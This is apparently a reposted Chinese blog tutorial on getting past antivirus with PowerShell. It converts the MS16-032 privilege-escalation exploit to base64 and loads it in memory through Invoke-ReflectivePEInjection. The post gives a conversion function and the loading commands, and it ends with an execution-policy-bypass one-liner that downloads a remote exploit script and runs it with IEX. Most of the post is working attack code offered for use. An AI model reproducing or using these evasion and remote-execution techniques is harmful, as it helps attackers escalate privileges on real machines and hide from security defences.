首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

powershell中使用ReflectivePEInjection绕过杀毒

有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。

powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下:

$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。

这里整理了一个脚本方便转换:

function Convert-BinaryToString {

[CmdletBinding()] param (

[string] $FilePath

)

try {

$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

}

catch {

throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

}

if ($ByteArray) {

$Base64String = [System.Convert]::ToBase64String($ByteArray);

}

else {

throw '$ByteArray is $null.';

}

$Base64String | set-content ("b64.txt")

}

使用zcgonvh的16032做演示。使用脚本转换:

PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1

PS C:\Users\evi1cg\Desktop\16_032> Convert-BinaryToString -FilePath .\ms16-032_x64.exe

生成base64的字符串并存储在b64.txt中。

使用如下命令进行转换:

$InputString = "base64string"

$PEBytes = [System.Convert]::FromBase64String($InputString)

Invoke-ReflectivePEInjection -PEBytes $PEBytes

进行加载,最后分享一下最终的脚本:

E2P_MS16-032.ps1

使用方式为:

E2P_MS16-032 -Command '"net user"'

远程加载命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"

文章出处:Evi1cg's blog

你可能喜欢

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180422B0CTBY00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券